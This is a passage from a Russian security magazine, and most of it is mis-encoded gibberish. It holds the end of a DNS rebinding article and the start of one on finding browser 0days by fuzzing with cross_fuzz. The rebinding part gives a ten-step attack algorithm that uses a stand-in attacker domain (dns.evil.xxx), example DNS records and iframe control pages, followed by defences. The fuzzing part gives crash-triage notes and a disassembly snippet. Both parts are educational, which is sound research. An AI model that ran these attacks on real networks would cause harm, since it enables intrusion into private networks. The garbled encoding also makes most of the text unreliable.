ÏÓÃÆÓ 200 OK Ò ÐÔÒÓÜÍ ÓÆÌÏÍ ÏÓÃÆÓÁ, Á ÂÑÁÔÈÆÑ Opera ÃÏÈÃÑÁÚÁÆÓ 
ËÏÅ ÏÙÉÂËÉ 404 É ÎÆ ÐÜÓÁÆÓÒà ÒÏÆÅÉÎÉÓÝÒà Ò ÅÑÔÄÉÍ IP-ÁÅÑÆÒÏÍ. 
³ÁËÉÍ ÏÂÑÁÈÏÍ, ÐÁÑÁÌÌÆÌÝÎÁà ÁÓÁËÁ ÎÆÒËÏÌÝËÉÖ ÑÆÒÔÑÒÏÃ ÏÅÎÏ-
ÃÑÆÍÆÎÎÏ Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÒÓÁÎÅÁÑÓÎÏÄÏ ÐÏÅÖÏÅÁ ÎÆÃÏÈÍÏÇÎÁ.
¥Ìà ÐÑÏÃÆÅÆÎÉà ÁÓÁËÉ ÎÁ ÎÆÒËÏÌÝËÏ ×ÆÌÆÊ, ÍÏÇÎÏ ÃÜÅÆÌÉÓÝ 
ÕÔÎË×ÉÉ ÏÐÑÆÅÆÌÆÎÉà ×ÆÌÆÊ É ÃÜÂÏÑÁ ÓÆËÔÚÆÊ ×ÆÌÉ Ã ÏÓÅÆÌÝ-
ÎÔß HTML-ÒÓÑÁÎÉ×Ô. °ÑÉ ÏÂÎÁÑÔÇÆÎÉÉ ×ÆÌÉ, ÆÆ IP-ÁÅÑÆÒ ÂÔÅÆÓ 
ÐÆÑÆÅÁÃÁÓÝÒà ÎÁ ÒÆÑÃÆÑ, É ÒÆÑÃÆÑÎÜÊ ÒËÑÉÐÓ ÅÏÌÇÆÎ ÒÏÈÅÁÓÝ 
ÅÌà ÁÓÁËÉ ÎÁ ÎÆÆ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÒÔÂÅÏÍÆÎ Ã ÓÁÂÌÉ×Æ DNS. 
®ÁÐÑÉÍÆÑ, ÅÌà ip-ÁÅÑÆÒÁ 192.168.0.1 ÍÏÇÎÏ ÒÏÈÅÁÓÝ ÒÔÂÅÏÍÆÎ 
192.168.0.1.dns.evil.xxx.  ´ÐÑÁÃÌàßÚÁà ÒÓÑÁÎÉ×Á ÐÏ ÁÅÑÆÒÔ http://
dns.evil.xxx/control.html ÅÏÌÇÎÁ ÒÏÈÅÁÓÝ iframe, Ã ËÏÓÏÑÜÊ ÂÔÅÆÓ 
ÈÁÄÑÔÇÆÎ ÅÏËÔÍÆÎÓ, ÒÏÅÆÑÇÁÚÉÊ ËÌÉÆÎÓÒËÉÊ ÒËÑÉÐÓ ÐÑÏÃÆÅÆ-
ÎÉà ÁÓÁËÉ DNS Rebinding, ÎÁÖÏÅàÚÉÊÒà, Ë ÐÑÉÍÆÑÔ, ÐÏ ÁÅÑÆÒÔ 
http://192.168.0.1.dns.evil.xxx/rebinding.html.
¸ÓÏÂÜ ÎÆ ÐÑÉÖÏÅÉÌÏÒÝ ÅÏÂÁÃÌàÓÝ ÃÉÑÓÔÁÌÝÎÜÆ ÒÁÊÓÜ Ã ÖÏÅÆ ÁÓÁËÉ, 
ÎÔÇÎÏ ÎÁÒÓÑÏÉÓÝ ÃÉÑÓÔÁÌÝÎÜÊ ÖÏÒÓ ÃÆÂ-ÒÆÑÃÆÑÁ ÓÁËÉÍ ÏÂÑÁÈÏÍ, 
ØÓÏÂÜ ÅÌà ÃÒÆÖ ÐÏÅÅÏÍÆÎÏÃ ÏÓÅÁÃÁÌÉÒÝ ÏÅÎÉ É ÓÆ ÇÆ ÕÁÊÌÜ. ¾ÓÏ 
ÒÏÈÅÁÆÓ ÐÁÑÁÅÏËÒ: ÒÆÑÃÆÑ, ÏÒÔÚÆÒÓÃÌàßÚÉÊ ÁÓÁËÔ, ÂÔÅÆÓ ÒÁÍ ÔàÈ-
ÃÉÍ ÅÌà ÎÆÆ :).
°ÏÌÔØÆÎÎÁà ÒÓÑÁÎÉ×Á ÒÏÏÂÚÁÆÓ ÒÆÑÃÆÑÔ, ØÓÏÂÜ ÏÎ ÏÂÒÌÔÇÉÃÁÌ 
ÓÏÌÝËÏ ÆÆ ÈÁÐÑÏÒÜ, ÈÁÐÑÁÙÉÃÁÆÓ ÂÌÏËÉÑÏÃËÔ ip-ÁÅÑÆÒÁ ÁÓÁËÔÆÍÏ-
ÄÏ, ÃÜÐÏÌÎàÆÓ ÑÁÂÏÓÔ É ÏÓÐÔÒËÁÆÓ ÂÌÏËÉÑÏÃËÔ. £ÍÆÒÓÆ Ò ÞÓÉÍ ÒÆÑ-
ÃÆÑ ÃÎÏÃÝ ÑÁÈÑÆÙÁÆÓ ÈÁÐÑÏÒÜ ÏÓ ÇÆÑÓÃÜ.
°ÏÌÎÜÊ ÁÌÄÏÑÉÓÍ ÃÜÄÌàÅÉÓ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:
1) ²ÉÒÓÆÍÁ ÏÐÑÆÅÆÌÆÎÉà ×ÆÌÆÊ ÐÆÑÆÅÁÆÓ ip-ÁÅÑÆÒÁ ×ÆÌÆÊ ÎÁ ÒÆÑ-
ÃÆÑ ÁÓÁËÔßÚÆÄÏ (ÅÏÐÔÒÓÉÍ, 97.246.251.93).

2) ´ÐÑÁÃÌàßÚÉÊ ÒËÑÉÐÓ ÎÁ ËÌÉÆÎÓÆ ÈÁÐÑÁÙÉÃÁÆÓ ÅÏÍÆÎÎÏÆ ÉÍà 
×ÆÌÉ Ô ÒÆÑÃÆÑÁ.
3) ²ÆÑÃÆÑ ÒÏÈÅÁÆÓ DNS-ÈÁÐÉÒÝ ÅÌà ÒÔÂÅÏÍÆÎÁ, ËÏÓÏÑÜÊ ÂÔÅÆÓ 
ÉÒÐÏÌÝÈÏÃÁÓÝÒà ÅÌà ÁÓÁËÉ ÎÁ ËÏÎËÑÆÓÎÜÊ IP-ÁÅÑÆÒ. °ÑÉÍÆÑ:

  97.246.251.93.dns.evil.xxx A 97.246.251.93
    A 192.168.0.1

4) ´ÐÑÁÃÌàßÚÉÊ ÒËÑÉÐÓ ÔËÁÈÜÃÁÆÓ ÐÏÌÔØÆÎÎÏÆ ÉÍà ÅÏÍÆÎÁ Ã 
ËÁØÆÒÓÃÆ ÐÁÑÁÍÆÓÑÁ src-ÓÆÄÁ IFRAME.
5) ¥ÏËÔÍÆÎÓ, ÐÏÌÔØÆÎÎÜÊ Ò ÅÏÍÆÎÁ 192.168.0.1.evil.xxx ÈÁÐÑÁÙÉÃÁ-
ÆÓ Ô ÒÆÑÃÆÑÁ ÂÌÏËÉÑÏÃËÔ.
6) ²ÆÑÃÆÑ ÐÆÑÆÒÓÁÆÓ ÑÆÁÄÉÑÏÃÁÓÝ ÎÁ ÈÁÐÑÏÒÜ Ï ÐÏÌÔØÆÎÉÉ ÁÅÑÆÒÁ 
×ÆÌÆÊ, É ÂÌÏËÉÑÔÆÓ ÏÂÑÁÚÆÎÉà Ò ÂÑÁÔÈÆÑÁ ÇÆÑÓÃÜ ÎÁ 80-Ê ÐÏÑÓ.
7) «ÌÉÆÎÓÒËÉÊ ÒËÑÉÐÓ ÃÜÐÏÌÎàÆÓ ÑÁÂÏÓÔ ÐÏ ÐÏÌÔØÆÎÉß ÎÔÇÎÜÖ 
ÅÁÎÎÜÖ É ÔÐÑÁÃÌÆÎÉß ÏÂÏÑÔÅÏÃÁÎÉÆÍ.
8) °ÏÒÌÆ ÏËÏÎØÁÎÉà ÑÁÂÏÓÜ ËÌÉÆÎÓÒËÉÊ ÒËÑÉÐÓ ÒÏÏÂÚÁÆÓ ÒÆÑÃÆÑÔ, 
ØÓÏ ÂÌÏËÉÑÏÃËÔ ÍÏÇÎÏ ÏÒÃÏÂÏÅÉÓÝ.
9) ²ÆÑÃÆÑ ÏÒÃÏÂÏÇÅÁÆÓ ÂÌÏËÉÑÏÃËÔ É ÒÎÏÃÁ ÑÁÈÑÆÙÁÆÓ ÅÏÒÓÔÐ Ò 
ÁÅÑÆÒÁ, ÁÓÁËÔßÚÆÄÏ ÎÁ 80-Ê ÐÏÑÓ.
10) ´ÐÑÁÃÌàßÚÉÊ ÒËÑÉÐÓ ÈÁÐÑÁÙÉÃÁÆÓ ÁÅÑÆÒ ÒÌÆÅÔßÚÆÊ ×ÆÌÉ, É 
ÐÑÏ×ÆÒÒ ÐÏÃÓÏÑàÆÓÒà ÐÑÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ.
¥Ìà ÅÉÎÁÍÉØÆÒËÏÄÏ ÒÏÈÅÁÎÉà DNS-ÈÁÐÉÒÆÊ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ 
ÍÆÖÁÎÉÈÍ ÁÃÓÏÍÁÓÉØÆÒËÏÄÏ ÏÂÎÏÃÌÆÎÉà DNS, ÎÁÐÑÉÍÆÑ, ÔÓÉÌÉÓÔ 
nsupdate. °ÑÉ ÆÆ ÉÒÐÏÌÝÈÏÃÁÎÉÉ ÐÆÑÆÈÁÄÑÔÈËÁ DNS-ÒÆÑÃÆÑÁ ÎÆ 
ÐÏÓÑÆÂÔÆÓÒà.

Защита от атаки типа DNS 
Rebinding
£ ÐÑÉÎ×ÉÐÆ, ÆÒÓÝ ÎÆÒËÏÌÝËÏ ÒÐÏÒÏÂÏÃ ÈÁÚÉÓÉÓÝÒà ÏÓ ÅÁÎÎÏÄÏ ÃÉÅÁ 
ÁÓÁË, ÎÁÐÑÉÍÆÑ:
1) °ÑÁÃÉÌÝÎÁà ÎÁÒÓÑÏÊËÁ °¯ ÒÆÑÃÆÑÁ. ´ÅÁÌÉÓÝ ÎÁ ÃÆÂ-ÒÆÑÃÆÑÁÖ 
ÐÁÑÁÍÆÓÑ VirtualHost ÒÏ ÈÎÁØÆÎÉÆÍ _default_, ÉÌÉ *:80 É àÃÎÏ ÐÑÏ-
ÐÉÒÁÓÝ ÉÍÆÎÁ ÖÏÒÓÏÃ.
2) ¨ÁÚÉÓÁ ÒÏ ÒÓÏÑÏÎÜ ÑÁÈÑÁÂÏÓØÉËÁ ÃÆÂ-ÐÑÉÌÏÇÆÎÉà. °ÑÉ ÔÒÓÁ-
ÎÏÃËÆ ÐÑÉÌÏÇÆÎÉà ÐÑÆÅÌÁÄÁÓÝ ÐÏÌÝÈÏÃÁÓÆÌß ÃÃÆÒÓÉ ÅÏÍÆÎÎÏÆ 
ÉÍà ÒÆÑÃÆÑÁ, ÎÁ ËÏÓÏÑÏÍ ÂÔÅÆÓ ÑÁÒÐÏÌÁÄÁÓÝÒà ÐÑÉÌÏÇÆÎÉÆ, É 
ÏÂÑÁÂÁÓÜÃÁÓÝ ÈÁÐÑÏÒÜ ÏÓ ËÌÉÆÎÓÁ ÓÏÌÝËÏ Ã ÓÏÍ ÒÌÔØÁÆ, ÆÒÌÉ ÐÁÑÁ-
ÍÆÓÑ Host ÈÁÐÑÏÒÁ HTTP ÒÏÏÓÃÆÓÒÓÃÔÆÓ ÉÍÆÎÉ ÅÏÍÆÎÁ, ÔËÁÈÁÎÎÏÄÏ 
ÐÑÉ ÔÒÓÁÎÏÃËÆ.
3) £ ÂÑÁÔÈÆÑÁÖ ÉÒÐÏÌÝÈÏÃÁÓÝ ÐÌÁÄÉÎ NOSCRIPT ÉÌÉ ÁÎÁÌÏÄÉ, 
ÈÁÐÑÆÓÉÓÝ ÃÜÐÏÌÎÆÎÉÆ ÒËÑÉÐÓÏÃ JavaScript, Java-ÁÐÐÌÆÓÏÃ ÉÌÉ 
Flash-ÐÑÉÌÏÇÆÎÉÊ.
4) ©ÒÐÏÌÝÈÏÃÁÓÝ ÑÁÈÅÆÌÆÎÉÆ ÈÏÎ, ÐÑÉ ËÏÓÏÑÏÍ ÒËÑÉÐÓÔ, ÐÏÌÔ-
ØÆÎÎÏÍÔ ÉÈ ÃÎÆÙÎÆÄÏ ÉÎÓÆÑÎÆÓÁ, ÂÔÅÆÓ ÏÅÎÏÈÎÁØÎÏ ÈÁÐÑÆÚÆÎÏ 
ÏÂÑÁÚÁÓÝÒà Ë ÑÆÒÔÑÒÁÍ, ÑÁÒÐÏÌÏÇÆÎÎÜÍ Ã ÌÏËÁÌÝÎÏÊ ÒÆÓÉ ÐÏÌÝ-
ÈÏÃÁÓÆÌà.
°ÑÉ ÓÁËÏÍ ÐÏÅÖÏÅÆ ÏÅÎÏÈÎÁØÎÏ ÔàÈÃÉÍÜÍÉ ÏÒÓÁßÓÒà ÓÏÌÝËÏ ÔÅÁ-
ÌÆÎÎÜÆ ÒÆÑÃÉÒÜ, ÐÑÆÅÏÒÓÁÃÌàßÚÉÆ API, ÅÌà ËÏÓÏÑÜÖ ÉÍà ÖÏÒÓÁ ÎÆ 
ÐÑÆÅÔÒÍÏÓÑÆÎÏ Ã ÐÑÉÎ×ÉÐÆ. ®ÁÐÑÉÍÆÑ, API ÅÌà ÑÁÂÏÓÜ Ò ÏÂÌÁËÁÍÉ 
ÎÁ ÂÁÈÆ Amazon EC2, ÉÌÉ ÒÉÒÓÆÍÁ ÃÉÑÓÔÁÌÉÈÁ×ÉÉ VMware ESX. z
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ВЗЛОМ
 ¡ÌÆËÒÁÎÅÑ  ¢ÁÇÁÎßË  (twitter.com/ABazhanyuk,  CISS Research Team) 

®ÉËÉÓÁ  ³ÁÑÁËÁÎÏÃ  (twitter.com/NTarakanov,  CISS Research Team)

  Ýòà ñòàòüÿ — îïûò èñïîëüçîâàíèÿ ôàççèíãà äëÿ ïîèñêà 
óÿçâèìîñòåé â ñîâðåìåííûõ áðàóçåðàõ. Àâòîðû çíàþò, î ÷åì ãîâîðÿò: 
íà ïðîøåäøåé íåäàâíî êîíôåðåíöèè PHD îíè âûèãðàëè êîíêóðñ 
«Âçëîìàé è óíåñè». Âçëîìàëè îíè Safari (ïðîäåìîíñòðèðîâàâ 
ðàáî÷èé 0day äëÿ âåðñèè ïîä Windows), à äîìîé óíåñëè ïðèçîâîé 
íîóòáóê.

Ïîèñê óÿçâèìîñòåé â ñîâðåìåííûõ áðàóçåðàõ 
ñ ïîìîùüþ ôàççèíãà

ÊÀÊ 
ÑÎÇÄÀÞÒ 
0DAY ÄËß ÁÐÀÓÇÅÐÎÂ

Введение в профессию
©ÓÁË, ÐÑÉÒÓÔÐÉÍ? ¨ÁÕÉËÒÉÑÔÆÍ ÅÌà ÐÏÑàÅËÁ ÒÐÉÒÏË ÒÔÚÆÒÓÃÔßÚÉÖ 
ÂÑÁÔÈÆÑÏÃ:
    • Windows Internet Explorer (6/7/8)
    • Mozilla Firefox (3*/4*)
    • Google Chrome
    • Safari  
    • Opera
    • Opera Mini
    • Netscape Navigator
    • Midori
    • Skyfire
    • Dolphin
    • Konpueror
    • Dooble
©È ÎÉÖ ÓÏÌÝËÏ ÓÑÉ ÐÑÏÅÔËÓÁ àÃÌàßÓÒà OpenSource-ÐÑÏÆËÓÁÍÉ: ÞÓÏ 
Chrome, Firefox É Konqueror. £ÒÆ ÂÑÁÔÈÆÑÜ ÒÐÑÏÆËÓÉÑÏÃÁÎÜ ÎÁ ÏÒÎÏÃÆ 
ÎÆËÏÓÏÑÏÄÏ ÂÁÈÏÃÏÄÏ ÕÔÎË×ÉÏÎÁÌÁ (engine-ÅÃÉÇËÁ). £ÏÓ ÐÆÑÆØÆÎÝ ÒÔÚÆ-
ÒÓÃÔßÚÉÖ ÅÃÉÇËÏÃ: 
    • Amaya
    • Gecko
    • HTMLayout
    • KHTML
    • Presto
    • Prince

    • Trident
    • WebKit
®ÁÐÑÉÍÆÑ, Chrome É Safari ÐÏÒÓÑÏÆÎÜ ÎÁ OpenSource-ÅÃÉÇËÆ WebKit, 
Á ÐÏÐÔÌàÑÎÜÊ Firefox — ÎÁ Gecko. ¥Ìà ÑÁÂÏÓÜ JavaScript ÉÒÐÏÌÝÈÔßÓ 
ÅÃÉÇËÉ ÅÁÎÎÏÄÏ ÉÎÓÆÑÐÑÆÓÁÓÏÑÁ, ÃÏÓ, ÎÁÐÑÉÍÆÑ, Ã Google ÉÒÐÏÌÝÈÔÆÓÒà 
V8 (ÖÏÓà ÆÒÓÝ ÆÚÆ Rhino É SpiderMonkey). ³ÁËÇÆ ÂÏÌÝÙÉÎÒÓÃÏ ÂÑÁÔÈÆ-
ÑÏÃ ÐÏÅÅÆÑÇÉÃÁßÓ ÑÁÈÎÜÆ ÐÌÁÄÉÎÜ, ÓÁËÉÆ ËÁË flash, jre (ÅÌà ÑÁÂÏÓÜ Ò 
ÁÐÐÌÆÓÁÍÉ) — ÞÓÏ ÅÏÐÏÌÎÉÓÆÌÝÎÜÆ ÃÆËÓÏÑÜ ÁÓÁË.

Фаззер для браузера
«ÁË É ÃÏ ÍÎÏÄÉÖ ÅÑÔÄÉÖ ÒÉÓÔÁ×ÉàÖ, ÏÅÎÉÍ ÉÈ ÒÁÍÜÖ ÞÕÕÆËÓÉÃ-
ÎÜÖ ÒÐÏÒÏÂÏÃ ÐÏÉÒËÁ ÔàÈÃÉÍÏÒÓÆÊ Ã ÂÑÁÔÈÆÑÆ àÃÌàÆÓÒà ÕÁÈÈÉÎÄ. 
°ÔÂÌÉØÎÜÖ É ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÑÁÂÏÓÁßÚÉÖ ÉÎÒÓÑÔÍÆÎÓÏÃ ÈÅÆÒÝ ÎÆ 
ÓÁË ÍÎÏÄÏ, ÎÏ ÏÅÎÉÍ ÉÈ ÓÁËÏÃÜÖ àÃÌàÆÓÒà ÈÁÍÆØÁÓÆÌÝÎÁà ÑÁÈÑÁÂÏÓ-
ËÁ cross_fuzz ÏÓ ÉÖÁÉÌÁ ¨ÁÌÆÃÒËÉ. ÉÙÁ ÑÁÂÏÓÁÆÓ Ã Google É Ò 
ÐÏÍÏÚÝß ÒÃÏÆÄÏ ÕÁÈÈÆÑÁ ÏÂÎÁÑÔÇÉÌ ÂÏÌÆÆ ÒÓÁ ÂÁÄÏÃ ÃÏ ÃÒÆÖ ÐÏÐÔ-
ÌàÑÎÜÖ ÃÆÂ-ÂÑÁÔÈÆÑÁÖ, ÍÎÏÄÉÆ ÉÈ ÎÉÖ ÏËÁÈÁÌÉÒÝ ÞËÒÐÌÔÁÓÉÑÔÆÍÜ. £ 
ÆÄÏ ÂÌÏÄÆ (bit.ly/lbgfqm) ÆÒÓÝ ÅÁÇÆ ÏÓØÆÓ Ï ÎÁÊÅÆÎÎÜÖ ÔàÈÃÉÍÏÒÓàÖ 
ÅÌà Internet Explorer, Firefox, Opera, Á ÓÁËÇÆ ÂÑÁÔÈÆÑÏÃ ÎÁ ÅÃÉÇËÆ 
WebKit. ®ÆËÏÓÏÑÜÆ ÉÈ ÎÁÊÅÆÎÎÜÖ ÏÙÉÂÏË (ÅÁÇÆ ÎÆÒÍÏÓÑà ÎÁ ÓÏ, ØÓÏ 
ÑÁÈÑÁÂÏÓØÉËÉ ÐÏÒÓÁÃÌÆÎÜ Ã ÉÈÃÆÒÓÎÏÒÓÝ) ÅÏ ÒÉÖ ÐÏÑ ÎÆ ÔÒÓÑÁÎÆÎÜ!  
°ÑÉ ÃÒÆÊ ÒÃÏÆÊ ÞÕÕÆËÓÉÃÎÏÒÓÉ cross_fuzz ÔÒÓÑÏÆÎ ÅÏÃÏÌÝÎÏ ÐÑÏÒÓÏ. 
µÁÈÈÆÑ ÃÜàÃÌàÆÓ ÐÑÏÂÌÆÍÜ ÐÔÓÆÍ ÒÏÈÅÁÎÉà ØÑÆÈÃÜØÁÊÎÏ ÅÌÉÎÎÜÖ 
ÈÁËÑÔØÆÎÎÜÖ ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓÆÊ DOM-ÏÐÆÑÁ×ÉÊ, ËÏÓÏÑÜÆ ÈÁÓÑÁ-
ÄÉÃÁßÓ ÒÑÁÈÔ ÎÆÒËÏÌÝËÏ ÅÏËÔÍÆÎÓÏÃ. °ÑÏÃÆÑàà ÃÏÈÃÑÁÚÁÆÍÜÆ ÏÂÛ-
ÆËÓÜ É ÃÎÏÃÝ ÑÆËÔÑÒÉÃÎÏ ÉÒÐÏÌÝÈÔà ÉÖ, ÔÅÁÆÓÒà ÒÏÈÅÁÃÁÓÝ ËÑÔÄÏÃÜÆ 

°Ï ÍÁÓÆÑÉÁÌÁÍ
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ÈÁÃÉÒÉÍÏÒÓÉ ÔÈÌÏÃ, Ò ÐÏÍÏÚÝß ËÏÓÏÑÜÖ ÔÒÓÑÁÉÃÁÆÓÒà 
ÎÁÒÓÏàÚÉÊ ÒÓÑÆÒÒ-ÓÆÒÓ ÅÌà ÍÆÖÁÎÉÈÍÏÃ ÒÂÏÑËÉ ÍÔÒÏÑÁ 
ÂÑÁÔÈÆÑÁ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ÐÑÏÃÆÑàÆÓÒà ÒÐÏÒÏÂÎÏÒÓÝ 
ÐÑÉÌÏÇÆÎÉà Ë ÐÑÁÃÉÌÝÎÏÍÔ É ÞÕÕÆËÓÉÃÎÏÍÔ ÏÒÃÏÂÏÇ-
ÅÆÎÉß ÐÁÍàÓÉ ÅÌà ÂÏÌÆÆ ÎÆÉÒÐÏÌÝÈÔÆÍÜÖ ÏÂÛÆËÓÏÃ. «ÁË 
ÐÏËÁÈÜÃÁÆÓ ÐÑÁËÓÉËÁ, ÃÜÅÆÑÇÁÓÝ ÔÅÁÑ ÂÑÁÔÈÆÑÔ ÔÅÁÆÓÒà 
ÅÁÌÆËÏ ÎÆ ÃÒÆÄÅÁ :). «ÏÅ cross_fuzz ÎÁÐÉÒÁÎ ÎÁ HTML/
JavaScript (lcamtuf.coredump.cx/cross_fuzz), ÐÏÞÓÏÍÔ 
ÅÌà ÕÁÈÈÉÎÄÁ ÅÏÒÓÁÓÏØÎÏ ÏÓËÑÜÓÝ ÎÔÇÎÜÊ HTML-ÕÁÊÌ 
(ÆÒÓÝ ÑÁÈÎÜÆ ÃÁÑÉÁÎÓÜ Ò ÎÆÈÎÁØÉÓÆÌÝÎÜÍÉ ÏÓÌÉØÉàÍÉ) Ã 
ÂÑÁÔÈÆÑÆ. ¸ÓÏÂÜ ÎÉÃÆÌÉÑÏÃÁÓÝ ÒÆÓÆÃÜÆ ÈÁÅÆÑÇËÉ, ÌÔØÙÆ 
ÃÒÆÄÏ ÒËÁØÁÓÝ ÉÒÖÏÅÎÉË ÎÁ ÌÏËÁÌÝÎÔß ÍÁÙÉÎÔ. ®Æ ÈÁÂÔÅÝ 
ÐÑÉ ÞÓÏÍ ÃÜËÁØÁÓÝ ÃÒÆ ÈÁÃÉÒÉÍÏÒÓÉ (ÐÁÐËÔ /targets É 
ÕÁÊÌÜ mersenne.js/logo.jpg). ¥Ìà ËÏÑÑÆËÓÎÏÊ ÑÁÂÏÓÜ 
ÓÁËÇÆ ÐÏÓÑÆÂÔÆÓÒà ÃËÌßØÉÓÝ popup’Ü Ã ÂÑÁÔÈÆÑÆ. 

Начинаем практиковаться
£ ËÁØÆÒÓÃÆ ÐÏÅÏÐÜÓÎÜÖ ËÑÏÌÉËÏÃ ÍÜ ÃÈàÌÉ ÎÁÉÂÏÌÆÆ ÑÁÒ-
ÐÑÏÒÓÑÁÎÆÎÎÜÆ ÂÑÁÔÈÆÑÜ: 
• Firefox 3.6.16;
• Firefox 4.0.1;
• Chrome 10;
• Internet Explorer 8/9;
• Safari 5.0.5.

¯ÓËÑÜÃÁÆÍ HTML-ÒÓÑÁÎÉ×Ô ÕÁÈÈÆÑÁ Ã ËÁÇÅÏÍ ÉÈ ÎÉÖ 
— É ÐÆÑÃÜÆ ÑÆÈÔÌÝÓÁÓÜ ÎÆ ÈÁÒÓÁÃÌàßÓ ÒÆÂà ÇÅÁÓÝ. 
´ÅÉÃÉÓÆÌÝÎÏ, ÎÏ ÐÑÉ ÈÁÐÔÒËÆ cross_fuzz Ã Safari, ÐÁÅÆÎÉÆ 
ÂÜÌÏ ÍÏÍÆÎÓÁÌÝÎÜÍ — ÍÆÎÆÆ ØÆÍ ØÆÑÆÈ 5 ÒÆËÔÎÅ. °ÑÉ 
ÓÆÒÓÉÑÏÃÁÎÉÉ Firefox 3.6.16 ÂÜÌÉ ÐÁÅÆÎÉà ØÆÑÆÈ 15-30 
ÍÉÎÔÓ ÐÏÒÌÆ ÈÁÐÔÒËÁ. 
£ ÏÒÎÏÃÎÏÍ ÞÓÏ ÂÜÌÉ ÐÁÅÆÎÉà ÐÏ DEP. ¾ÓÏ ÒÃÏÆÏÂÑÁÈÎÜÊ 
ÍÁÑËÆÑ ÔàÈÃÉÍÏÒÓÆÊ use-after-free, ËÑÆÙÉ ÎÁ ÉÒÐÏÌÎÆ-
ÎÉÉ ÐÏÓÆÎ×ÉÁÌÝÎÏ ÞËÒÐÌÔÁÓÁÂÆÌÝÎÜ É ÐÏÞÓÏÍÔ ×ÆÎÎÜ. 
¦ÒÌÉ ÐÏÍÆÎàÓÝ ÎÆËÏÓÏÑÜÆ ÔÒÌÏÃÉà ÐÑÉ ÈÁÐÔÒËÆ, ÍÏÇÎÏ 
ÔÍÆÎÝÙÉÓÝ ÃÑÆÍà ÒÑÁÂÁÓÜÃÁÎÉà ÅÏ 3-5 ÍÉÎÔÓ. °ÑÉ ÓÆÒÓÉ-
ÑÏÃÁÎÉÉ Chrome ÐÁÅÆÎÉà ÂÜÌÉ Ã ÅÏØÆÑÎÆÍ ÐÑÏ×ÆÒÒÆ. IE 
ÇÆ, ØÓÏ ÏÐàÓÝ ÇÆ ÔÅÉÃÉÓÆÌÝÎÏ, ÎÉØÆÍ ÎÆ ÏÓÌÉØÉÌÒà. 
£ÒÆ ÞÓÉ ÕÁËÓÜ ÍÆÎà ÒÉÌÝÎÏ ÔÅÉÃÉÌÉ: à ÓÏÌÝËÏ ÎÁØÁÌ 
ÉÒÒÌÆÅÏÃÁÓÝ ÂÑÁÔÈÆÑÜ, ÐÑÉØÆÍ ÅÆÌÁÌ ÞÓÏ ÐÔÂÌÉØÎÜÍ 
ÕÁÈÈÆÑÏÍ, Á ÔÇÆ ÆÒÓÝ ËÑÆÙÉ. ¸ÆÑÓ ÐÏÅÆÑÉ, ÒËÏÌÝËÏ ÇÆ 
ÓÁÍ ÂÁÄÏÃ, ÆÒÌÉ ÓÁË ÂÜÒÓÑÏ ÍÏÇÎÏ ÔÑÏÎÉÓÝ ÐÏØÓÉ ÌßÂÏÊ 
ÂÑÁÔÈÆÑ? ´ØÉÓÜÃÁà ÓÁËÉÆ ÂÏÅÑÜÆ É ÂÜÒÓÑÜÆ ÑÆÈÔÌÝÓÁÓÜ, 
à ÐÑÏ ÒÆÂà ÏÓÍÆÓÉÌ, ØÓÏ ÐÑÁÃÉÌÝÎÏ ÃÜÂÑÁÌ ÃÆËÓÏÑ ÁÓÁËÉ. 
Cross_fuzz ÏÓÌÉØÎÏ ÉÚÆÓ ÔàÈÃÉÍÏÒÓÉ Ã ÑÁÂÏÓÆ Ò DOM, É 
ÞÓÉÍ ÄÌÔÐÏ ÎÆ ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà.

• °ÑÏ ÕÔÎË×ÉÏÎÁÌ JS 
(DOM) Ã ÂÑÁÔÈÆÑÁÖ:
www.webdevout.net/
browser-support-
ecmascript.

• °ÑÏ ÃÆËÓÏÑÜ ÁÓÁË:
heideri.ch/jso.

• °ÑÏ ÓÆÒÓÉÑÏÃÁÎÉÆ 
ÂÑÁÔÈÆÑÏÃ, ÒÐÉÒËÉ 
ËÏÍÐÏÎÆÎÓÏÃ, ÂÑÁÔ-
ÈÆÑÜ ÐÏÅ ÍÏÂÉÌÝÎÜÆ 
ÔÒÓÑÏÊÒÓÃÁ É Ó.Å.:
www.quirksmode.org.

• °ÑÏ ÓÏ, ËÁË ÔÒÓÑÏÆÎ 
Sandbox Ã ÄÔÄÌÏÃÒËÏÍ 
Chrome: dev.chro-
mium.org/developers/
design-documents/
sandbox.

links

HTTP://WWW

¥Ìà ÁÎÁÌÉÈÁ ÂÑÁÔÈÆÑÁ 
ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ 
ÒÉÒÓÆÍÜ ÅÌà ÁÃÓÏÍÁ-
ÓÉØÆÒËÏÄÏ ÓÆÒÓÉÑÏ-
ÃÁÎÉà ÐÑÉÌÏÇÆÎÉÊ, 
ÓÁËÉÆ ËÁË Selenium 
(seleniumhq.org). ¾ÓÏÓ 
ÉÎÒÓÑÔÍÆÎÓ ÞÍÔÌÉÑÔÆÓ 
ÃÒÆ ÅÆÊÒÓÃÉà ÐÏÌÝÈÏ-
ÃÁÓÆÌà, ØÓÏ ÍÏÇÆÓ ÓÏÇÆ 
ÐÏËÑÜÓÝ ÎÆËÏÓÏÑÜÊ 
ÕÔÎË×ÉÏÎÁÌ ÂÑÁÔÈÆÑÁ 
É ÐÑÉÃÆÒÓÉ Ë ÐÁÅÆÎÉß. 

info

INFO

Отчет от креше
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Креш IE8 в отладчике

£ÁÇÎÜÊ ÍÏÍÆÎÓ. ¦ÒÌÉ Safari ÐÁÅÁÆÓ Ò ÉÒËÌßØÆÎÉÆÍ 
ÓÉÐÁ «User mode write access violations that are not near 
NULL are exploitable», ÎÔÇÎÏ ÐÏÒÍÏÓÑÆÓÝ ÅÉÈÁÒÍ ÐÏ eip.

and dword ptr ds:0BBADBEEFh, 0
xor eax, eax
call eax
 

¦ÒÌÉ ÓÜ ÃÉÅÉÙÝ ØÓÏ-ÓÏ ÐÏÅÏÂÎÏÆ, Ë ÒÏÇÁÌÆÎÉß, ÞÓÏ 
Webkit’ÏÃÒËÉÊ ÍÁËÑÏÒ CRASH(). ³ÁËÉÆ ÐÁÅÆÎÉà ÒÉÍ-
